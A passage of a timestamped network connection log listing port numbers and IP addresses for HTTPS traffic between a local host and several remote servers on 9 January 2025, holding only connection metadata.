Jan 9, 2025 05:14:10.882395983 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.882401943 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.882438898 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.882460117 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.882509947 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.883253098 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.883305073 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.883377075 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.883435011 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.884160995 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.884216070 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.884325027 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.884371996 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.885087013 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.885160923 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.920682907 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.920803070 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.941257954 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941317081 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941346884 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941375971 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941375971 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.941390038 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941430092 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.941567898 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941627026 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.941730976 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941819906 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941844940 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941859961 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.941868067 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.941905975 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.942581892 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.942655087 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.942682981 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.942704916 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.942712069 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.942754030 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.943404913 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.943448067 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.943473101 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.943489075 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.943495989 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.943532944 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.943538904 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.944252968 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.944277048 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.944300890 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.944307089 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.944339037 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.944344997 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.946166992 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.946218014 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.946224928 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.971788883 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.971884012 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.971899033 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.971924067 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.972037077 CET	49732	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:10.972055912 CET	443	49732	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:10.986304998 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031323910 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031399012 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031441927 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031469107 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031478882 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031491995 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031524897 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031537056 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031578064 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031666040 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031712055 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031723022 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031766891 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.031857967 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.031903028 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032098055 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032145977 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032289028 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032319069 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032335043 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032340050 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032351971 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032380104 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032814026 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032844067 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032866001 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032872915 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.032881975 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.032911062 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033032894 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033065081 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033082962 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033090115 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033112049 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033129930 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033757925 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033791065 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033814907 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033822060 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.033832073 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033868074 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.033961058 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.034009933 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121252060 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121303082 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121340036 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121376038 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121400118 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121412992 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121464968 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121496916 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121510983 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121516943 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121542931 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121640921 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121684074 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121690989 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121742964 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.121835947 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.121882915 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122062922 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122117996 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122167110 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122214079 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122350931 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122389078 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122400045 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122405052 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122430086 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122519016 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.122565985 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122662067 CET	49733	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.122675896 CET	443	49733	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.125205994 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.125257969 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.125329018 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.125540018 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.125555992 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.499624014 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.499689102 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.499794960 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.500044107 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.500056982 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.582953930 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.583179951 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.583208084 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.583566904 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.583854914 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.583905935 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.583966017 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.631339073 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.731375933 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.731446981 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.731507063 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.732098103 CET	49734	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.732115030 CET	443	49734	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.972553015 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.972832918 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.972863913 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.973211050 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.973505974 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:11.973572969 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:11.973622084 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.018330097 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.018357992 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.127218962 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.127289057 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.127363920 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.127945900 CET	49736	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.127968073 CET	443	49736	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.130264044 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.130297899 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.130366087 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.130669117 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.130683899 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.613455057 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.613852024 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.613878012 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.614240885 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.614558935 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.614634037 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.614691019 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.620646954 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.620678902 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.620745897 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.620938063 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.620953083 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.655328989 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.763492107 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.763566971 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:12.763705015 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.764401913 CET	49739	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:12.764413118 CET	443	49739	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.133136988 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.133424044 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.133449078 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.133800983 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.134187937 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.134263992 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.134305954 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.177334070 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.177355051 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.380157948 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.380225897 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.380290031 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.380342960 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.380834103 CET	49740	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.380855083 CET	443	49740	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.447182894 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.447220087 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.447333097 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.447623968 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.447637081 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.915385962 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.915663958 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.915689945 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.916032076 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.916397095 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.916457891 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.916551113 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.916747093 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.916775942 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:13.916861057 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:13.916897058 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180510044 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180553913 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180586100 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180614948 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.180619955 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180630922 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180674076 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.180711985 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180744886 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180771112 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.180780888 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.180824995 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.180857897 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.185287952 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.185318947 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.185345888 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.185353041 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.185672045 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.282658100 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.282720089 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.282871008 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.282887936 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.282900095 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.282943010 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.282965899 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.282973051 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.283273935 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.283279896 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.283799887 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.283870935 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.283893108 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.283957005 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.284060955 CET	49741	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.284073114 CET	443	49741	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.286479950 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.286540031 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.286681890 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.289493084 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.289522886 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.751523018 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.751811981 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.751838923 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.752254963 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.752572060 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.752643108 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.752732038 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.795339108 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.892437935 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.892503023 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:14.892618895 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.893105984 CET	49742	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:14.893127918 CET	443	49742	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:17.005995035 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:17.006057024 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:17.006129980 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:17.157699108 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:17.460416079 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:17.973911047 CET	49713	443	192.168.2.17	216.58.206.68
Jan 9, 2025 05:14:17.973943949 CET	443	49713	216.58.206.68	192.168.2.17
Jan 9, 2025 05:14:18.067379951 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:19.282470942 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:21.307651043 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:21.608362913 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:21.687383890 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:22.212485075 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:23.420398951 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:25.835406065 CET	49680	443	192.168.2.17	20.189.173.13
Jan 9, 2025 05:14:26.502419949 CET	49675	443	192.168.2.17	204.79.197.203
Jan 9, 2025 05:14:28.278671026 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.278714895 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.278785944 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.279019117 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.279031992 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.736958027 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.737212896 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.737242937 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.737606049 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.738053083 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.738133907 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.738225937 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.738311052 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.738342047 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.738446951 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.738466978 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.738480091 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990468979 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990556002 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990586996 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990614891 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.990631104 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990674973 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.990679979 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990693092 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.990737915 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.991470098 CET	49748	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.991486073 CET	443	49748	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.993786097 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.993830919 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:28.993912935 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.994121075 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:28.994136095 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.014440060 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.014487028 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.014568090 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.014827967 CET	49750	443	192.168.2.17	188.114.97.3
Jan 9, 2025 05:14:29.014841080 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.465393066 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.465683937 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:29.465708971 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.466027021 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.466317892 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:29.466376066 CET	443	49749	104.18.95.41	192.168.2.17
Jan 9, 2025 05:14:29.466449976 CET	49749	443	192.168.2.17	104.18.95.41
Jan 9, 2025 05:14:29.468625069 CET	443	49750	188.114.97.3	192.168.2.17
Jan 9, 2025 05:14:29.468797922 CET	49750	443	192.168.2.17	188.114.97.3
